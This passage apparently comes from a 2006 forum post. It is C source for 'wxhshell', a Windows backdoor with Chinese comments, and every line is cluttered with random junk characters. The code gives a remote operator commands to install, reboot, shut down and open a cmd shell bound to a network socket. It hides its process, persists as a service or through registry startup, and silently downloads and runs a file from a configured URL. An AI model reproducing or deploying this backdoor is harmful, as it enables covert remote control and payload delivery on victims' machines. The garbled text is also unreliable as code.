  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #>CWee;  
  } AxJqLSfyb,  
  else { ]x& R=)P  
)<'2 vpz  
    switch(cmd[0]) { Gyi0SM6v5&  
  k?3mFWc  
  // 帮助 OHngpe4  
  case '?': { buKkm$@w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HCktgL:E=  
    break; S>HfyZ&Pc  
  } _,Q -)\  
  // 安装 I L&PN`#  
  case 'i': { 0 >(hiT y<  
    if(Install()) 4|j Pr J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DeN2P  
    else tnb'\}Vn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y?oeP^V'u  
    break; N-p||u  
    } ) TNG0[  
  // 卸载 !YM:?%B  
  case 'r': { ^'sy hI\  
    if(Uninstall()) +r"fv*g"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s/;S2l$`  
    else [W'2z,S`WD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :9>U+)%  
    break; 0eA |Uq~  
    } 70R_O&f-k  
  // 显示 wxhshell 所在路径 C1YH\ X(r  
  case 'p': { mX @xV*  
    char svExeFile[MAX_PATH]; ncR]@8  
    strcpy(svExeFile,"\n\r"); ob)c0Pz  
      strcat(svExeFile,ExeFile); BQgK<_  
        send(wsh,svExeFile,strlen(svExeFile),0); $U^ Ms!'L  
    break; _4lKd`  
    } 5S! !@P!,  
  // 重启 kf' 4C "}  
  case 'b': { ]*rK;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; jJ%<  
    if(Boot(REBOOT)) {|q(4(f"Iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC?XE8o  
    else { Og2w] B[  
    closesocket(wsh); Z7MGBwP(  
    ExitThread(0); KW36nY\7  
    } Q,o"[ &Gp  
    break; oHethk  
    } f F9=zrW  
  // 关机 \-Q6z 8  
  case 'd': { {%Q+Pzl.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cj6$W5I m  
    if(Boot(SHUTDOWN)) u>03l(X6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [:{HX U7y  
    else { ~N+H7T.L  
    closesocket(wsh); ]n4G]ybK%  
    ExitThread(0); Gl>*e|}  
    } @B>pPCowa  
    break; HUGhz  
    } 14 hE<u  
  // 获取shell >yt8gw0J  
  case 's': { 6PRP&|.#  
    CmdShell(wsh); C.VU"= -  
    closesocket(wsh); WP? AQD  
    ExitThread(0); R\lUE,o]<q  
    break; mA\}zLw+r9  
  } J+Zp<Wu-  
  // 退出 *)qxrBc0  
  case 'x': { /V E|FTs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5}'W8gV?  
    CloseIt(wsh); 6tBe,'*  
    break; n4Q ^   
    } ~:"//%M3l  
  // 离开 ;Z-%'5hKM  
  case 'q': { $x q$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t$ 3/ZTx  
    closesocket(wsh); LVBE+{P\5?  
    WSACleanup(); WKONK;U+7  
    exit(1); iiTt{ab\Y  
    break; ee .,D  
        } 78t:ge eX  
  } A0gRX]  
  } C\gKJW^]y@  
'>#8 F.  
  // 提示信息 ;a~ e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Na$[nv8qh  
} {1J4Q[N9m  
  } 9wP,Z"  
4)E$. F^   
  return; $3^Cp_p6  
} <4%vl+qW  
k[5:]5lp+  
// shell模块句柄 J*+[?FXRL  
int CmdShell(SOCKET sock) L}pj+xB  
{ A\)~y{9bQ  
STARTUPINFO si; IOOK[g.?h  
ZeroMemory(&si,sizeof(si)); 6l& ,!fd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?=V;5H.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U'0e<IcY  
PROCESS_INFORMATION ProcessInfo; 7&vDx=W  
char cmdline[]="cmd"; O{ |Ug~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #7p!xf^  
  return 0; m,PiuR>  
} =&roL7ps  
<^Jdl.G  
// 自身启动模式 "*ww>0[  
int StartFromService(void) ;_p!20.(  
{ b>L?0p$ej  
typedef struct cSYMnB  
{ 5odXT *n  
  DWORD ExitStatus; G]O5irsV  
  DWORD PebBaseAddress; my%MXTm2  
  DWORD AffinityMask; 40HhMTZ0-  
  DWORD BasePriority; EjP9/V G@=  
  ULONG UniqueProcessId; r>B|JPm  
  ULONG InheritedFromUniqueProcessId; Nf)$K'/  
}   PROCESS_BASIC_INFORMATION; ayQ2#9X}  
V{n7KhN~Y!  
PROCNTQSIP NtQueryInformationProcess; zQaD&2 q  
Q+ZZwqyxD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #O^%u,mJj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eD!mR3Ai@D  
> Ft)v  
  HANDLE             hProcess; 2 :wgt  
  PROCESS_BASIC_INFORMATION pbi; ry0YS\W  
nB6 $*'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BRXDE7vw  
  if(NULL == hInst ) return 0; (h'Bz6K  
Tb\<e3Te_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); __}ut+H^5p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CZog?O}<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 06]"{2  
}VeE4-p B  
  if (!NtQueryInformationProcess) return 0; lcK4 Uq\q  
V&7NN=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ i%#fN  
  if(!hProcess) return 0; I>{o]^xw-D  
ZmmX_!M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w@pJ49  
J vq)%t8q>  
  CloseHandle(hProcess); <Yg6=e  
T"1=/r$Ft  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $$i Gs6az  
if(hProcess==NULL) return 0; s"R5'W\U  
!,]2.:{0z  
HMODULE hMod; t1wzSG  
char procName[255]; <<R2 X1  
unsigned long cbNeeded; _=}.Sg5Q  
u~PZK.Uf0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S0M i  
2#/23(Wc  
  CloseHandle(hProcess); e$/y ~!  
Vh>|F}%E  
if(strstr(procName,"services")) return 1; // 以服务启动 udmLHc  
gegM&Xo  
  return 0; // 注册表启动 Xk\IO0GF  
} (2UA,  
TbLU[(m-n  
// 主模块 (,KzyR=*'  
int StartWxhshell(LPSTR lpCmdLine) =cO5Nt  
{ ;hF}"shJN  
  SOCKET wsl; g#`}HuPoE  
BOOL val=TRUE; iiF`2  
  int port=0; wY ??#pS  
  struct sockaddr_in door; gu:vf/  
s\<UDW  
  if(wscfg.ws_autoins) Install(); ',/#|  
6TTu[*0NT  
port=atoi(lpCmdLine); cQ'x]u_  
 q*94vo-  
if(port<=0) port=wscfg.ws_port; fef y`J  
Bh'!aipk  
  WSADATA data; l(Dr@LB~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iJj!-a:z.  
pU'${Z~b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }zxf~4 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -v-kFzu  
  door.sin_family = AF_INET; d2d8,Vg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x)Zb:"  
  door.sin_port = htons(port); [oXSjLQm[  
<$K=3&:s8q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !#~KSO}zW2  
closesocket(wsl); RyU8{-q  
return 1; /KNR;n'  
} $gN\%X/n"1  
,]nRnI^  
  if(listen(wsl,2) == INVALID_SOCKET) { X)6G :cD  
closesocket(wsl); P3-O)m]jv  
return 1; 63J3NwFt  
} dQ~GE}[  
  Wxhshell(wsl); k=mLcP  
  WSACleanup(); ~JNE]mg  
 otfmM]f  
return 0; YtKT3u:x  
Nsq=1) <  
} Ph%ylS/T{  
Z,SV9 ~M  
// 以NT服务方式启动 oV;sd5'LG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9C2pGfEbn}  
{ n1 GX` K  
DWORD   status = 0; @ *~yVV!5  
  DWORD   specificError = 0xfffffff; 8_w6% md  
X lItg\R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8t=O=l\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >~Gy+-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XR9kxTuk  
  serviceStatus.dwWin32ExitCode     = 0; [W{|94q  
  serviceStatus.dwServiceSpecificExitCode = 0; 8+dsTX`|S  
  serviceStatus.dwCheckPoint       = 0; aMGh$\Pg  
  serviceStatus.dwWaitHint       = 0; ULu@"  
& wtE"w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j>?nL~{  
  if (hServiceStatusHandle==0) return; =,q/FY:  
Q]GS#n  
status = GetLastError(); EtPB_! +  
  if (status!=NO_ERROR) Q:7P /  
{ +X+R8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Og1\6Q  
    serviceStatus.dwCheckPoint       = 0; ~PQR_?1  
    serviceStatus.dwWaitHint       = 0; /DH`7E  
    serviceStatus.dwWin32ExitCode     = status; H7P}=YW".  
    serviceStatus.dwServiceSpecificExitCode = specificError; R[6R)#o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xi.?@Lff  
    return; 9<y{:{i  
  } l{.PyU5)  
ROfV Y:,M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f. >[ J  
  serviceStatus.dwCheckPoint       = 0; 17c`c.yP  
  serviceStatus.dwWaitHint       = 0; %%n&z6w-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^`dMjeF  
} ~N; dX[@BT  
B* 3_m _a  
// 处理NT服务事件,比如:启动、停止 0vDvp`ie#4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NX(IX6^y  
{ 3AR'Zvn  
switch(fdwControl) B/K=\qmm  
{ |0u qW1  
case SERVICE_CONTROL_STOP: CE  
  serviceStatus.dwWin32ExitCode = 0; Y>FLc* h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @ YWuWF  
  serviceStatus.dwCheckPoint   = 0; )v+&l9D  
  serviceStatus.dwWaitHint     = 0; rfQs 7S;G  
  { FMn|cO.vEP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K*'AjT9wX+  
  } 2,B^OZmw  
  return; y6sY?uu  
case SERVICE_CONTROL_PAUSE: ]v@ng8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1yU!rEH  
  break; 6rG7/  
case SERVICE_CONTROL_CONTINUE: wV$V X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m|+zMf&  
  break; =yqg,w&Q  
case SERVICE_CONTROL_INTERROGATE: 1uA-!T*e>  
  break; WRAv>s9  
}; U'5p;j)_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .1J`>T?=Q  
} 93w$ck},?G  
@N> rOA  
// 标准应用程序主函数 l{ fL~O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l`0JL7  
{ A"+t[0$.  
6w{""K.{  
// 获取操作系统版本 P:X X8&#  
OsIsNt=GetOsVer(); yFFNzw{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mwj7*pxUh  
Ja\B%f  
  // 从命令行安装 T~}g{q,tR  
  if(strpbrk(lpCmdLine,"iI")) Install(); .:;q8FL/  
P8CIKoKCV  
  // 下载执行文件 rHjR 4q  
if(wscfg.ws_downexe) { Xa>c ]j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _J3\e%ys  
  WinExec(wscfg.ws_filenam,SW_HIDE); dwzk+@]8  
} =E~SaT  
2PSv3?".  
if(!OsIsNt) { | 8n,|%e  
// 如果时win9x,隐藏进程并且设置为注册表启动 E/ku VZX  
HideProc(); )=,;-&AR  
StartWxhshell(lpCmdLine); FW<YN;  
} _&@cU<bdee  
else <("P5@cExU  
  if(StartFromService()) +w@/$datI  
  // 以服务方式启动 R ta_\Aj!  
  StartServiceCtrlDispatcher(DispatchTable); FFF7f5F  
else [vCZD8"Y8  
  // 普通方式启动 jLul:* L  
  StartWxhshell(lpCmdLine); W?12'EG}xa  
hA"z0Fszh  
return 0; C9T- 4o1  
}
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只看该作者 1 发表于: 2006-10-10
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